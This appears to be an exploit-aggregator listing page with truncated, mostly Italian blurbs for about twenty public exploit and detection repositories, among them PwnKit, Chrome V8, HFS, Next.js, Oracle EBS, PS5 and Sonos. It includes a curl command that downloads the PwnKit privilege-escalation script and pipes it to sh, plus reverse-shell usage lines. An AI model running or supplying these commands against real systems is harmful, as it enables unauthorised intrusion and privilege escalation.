sploit

sploit Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the ...

CVE-2018-6065-exploit

Chrome V8 CVE-2018-6065 Exploit Análise no blog: https://b1tg.github.io/post/cve-2018-6065-analysis root@kitploit: git reset 0407506af3d9d7e2718be1d8759296165b218fcf --hard gclient sync -f tools/dev/v8gen.py x64.debug ninja -C out.gn/x64.debug tools/dev/v8gen.py x64.release ninja -C...

KERNELexploits

PwnKit Exploit autonomo per CVE-2021-4034 - Escalation dei privilegi locali di Pkexec Utilizzo Dovrebbe funzionare subito sulle distribuzioni Linux vulnerabili basate su Ubuntu, Debian, Fedora e CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh...

CVE-2022-23270-PPTP

CVE-2022-23270 Un pacchetto per rilevare CVE-2022-23270, una vulnerabilità nell'implementazione PPTP di Microsoft. Esempio Puoi eseguire questa logica sul PCAP incluso nella directory testing\traces: root@kitploit: $ zeek -Cr CVE-2022-23270-exploited.pcap packages $ cat notice.log separator \x09...

CVE-2014-6287

PoC exploit script bash bash.webm Informazioni sull'exploit Puoi ottenere una reverse shell con il file .sh su Linux Puoi ottenere una reverse shell con il file .py su Windows e Linux su Windows, devi installare netcat Devi specificare l'URL esempio: http://target.com/ utilizzo per .py: python...

Next.JS-CVE-2025-29927

Scanner di Vulnerabilità Next.js CVE-2025-29927 Uno strumento di sicurezza per rilevare e verificare applicazioni Next.js vulnerabili a CVE-2025-29927 Bypass dell'autenticazione. Funzionalità 🎯 Rilevamento accurato di Next.js con molteplici metodi di verifica 🔍 Confronto preciso delle versioni pe...

cve-2025-6907

CVE‑2025‑6907 Strumento di Exploit SQLi File: exploit.c Autore: Byte Reaper Servizio Target: CODEPROJECT Tipo: Iniezione SQL 🔎 Panoramica Questo è un exploit standalone in C per iniezione SQL che mira alla vulnerabilità CVE‑2025‑6907 nel servizio CODEPROJECT. Combina diverse tecniche avanzate:...

CVE-2025-24893-POC

CVE-2025-24893 Installa bun: root@kitploit: curl -fsSL https://bun.com/install | bash Per installare le dipendenze: root@kitploit: bun install Per eseguire: root@kitploit: bun run CVE-2025-24893.ts Questo progetto è stato creato utilizzando bun init in bun v1.2.19. Bun è un runtime JavaScript...

CVE-2025-70559

cambia la directory di upload nello script python python3 exploit.py LHOST LPORT...

CVE-2026-9198

Exploit CVE-2026-9198 IBM Langflow Qua sto solo ricaricando roba di qualcun altro, ancora una volta quindi se vuoi sapere la password guarda il video https://youtu.be/qoQbyAhrzKg?si=8Wogp3OHNo-0CvIQ...

CVE_2026_40369

CVE202640369 Exploit poc ed exp per CVE202640369, legati alla mia analisi, usano cmake. Il codice di debug, i file poc ed exp per la riproduzione di CVE202640369 sono scritti usando cmake. Come al solito, basta usare i normali comandi cmake per completare la compilazione. Articoli di analisi:...

ps5-umtxdbg

NOTE Il bug è stato trovato all'inizio di dicembre 2020, non da me, ma da un genio che ha guardato fbsd per 15 minuti e lo ha subito individuato 🙇‍♂️. Questa implementazione C++ è stata realizzata mentre si sperimentava per aumentare l'affidabilità dell'exploit dopo che il kernel della PS5 ha...

CVE-2025-61882-Oracle-EBS

Oracle E-Business Suite — CVE-2025-61882 Questo repository contiene gli artefatti di ricerca di ZeroZenX e un'implementazione completamente operativa dell'exploit per CVE-2025-61882, fornita per supportare la ricerca difensiva, la risposta agli incidenti, l'ingegneria del rilevamento e la verific...

sonos

sonos/amlogic haxx Hier findest du etwas Exploit- & Tool-Code, der Teil meines Vortrags über den Sonos One auf der Hack in the Box amsterdam 2023 war. Der EL3-Exploit kann verwendet werden, um deine OTP/eFUSE-Daten auszulesen. sonostool kann verwendet werden, um Entschlüsselungsschlüssel für...

PoC-public

PoC-public Questo repository raccoglie il codice PoC che abbiamo pubblicato in varie conferenze sulla sicurezza. Black Hat EU 2020 CODE BLUE 2021 Black Hat Asia 2023 CODE BLUE 2023...

RunAsWinTcb

RunAsWinTcb अवलोकन RunAsWinTcb एक उपयोगकर्ता-स्तरीय userland शोषण का उपयोग करके एक DLL को WinTcb-Light सुरक्षा स्तर के साथ चलाता है। भेद्यता और शोषण की क्षमताओं का अवलोकन यहाँ पाया जा सकता है: https://tastypepperoni.medium.com/running-exploit-as-protected-process-ligh-from-userland-f4c7dfe63387...

exploits

الاستغلالات...

microsoft-cve-2021-1675

!IMPORTANT "Questo repository è ora in modalità 'Blue Screen': archiviato e congelato nel tempo!" Microsoft-CVE-2021-1675 Ho creato un piccolo progetto in C che sfrutta la vulnerabilità CVE-2021-1675. Per maggiori informazioni su CVE-2021-1675, consulta il mio post sul blog:...

ExploitVelotiSmart

ExploitVelotiSmart Permite explorar a vulnerabilidade de LFI CVE-2018-14064 https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac https://www.exploit-db.com/exploits/45030/...

exploits

exploits Dieses Repository enthält alle Shellcodes bzw. Exploits, die ich bei https://www.exploit-db.com/ eingereicht habe. Alle hier aufgeführten Exploits sind keine 0day-Exploits; für alle genannten Programme ist ein Fix verfügbar. Bitte beachten Sie, dass die Exploits entweder für Ihre eigene...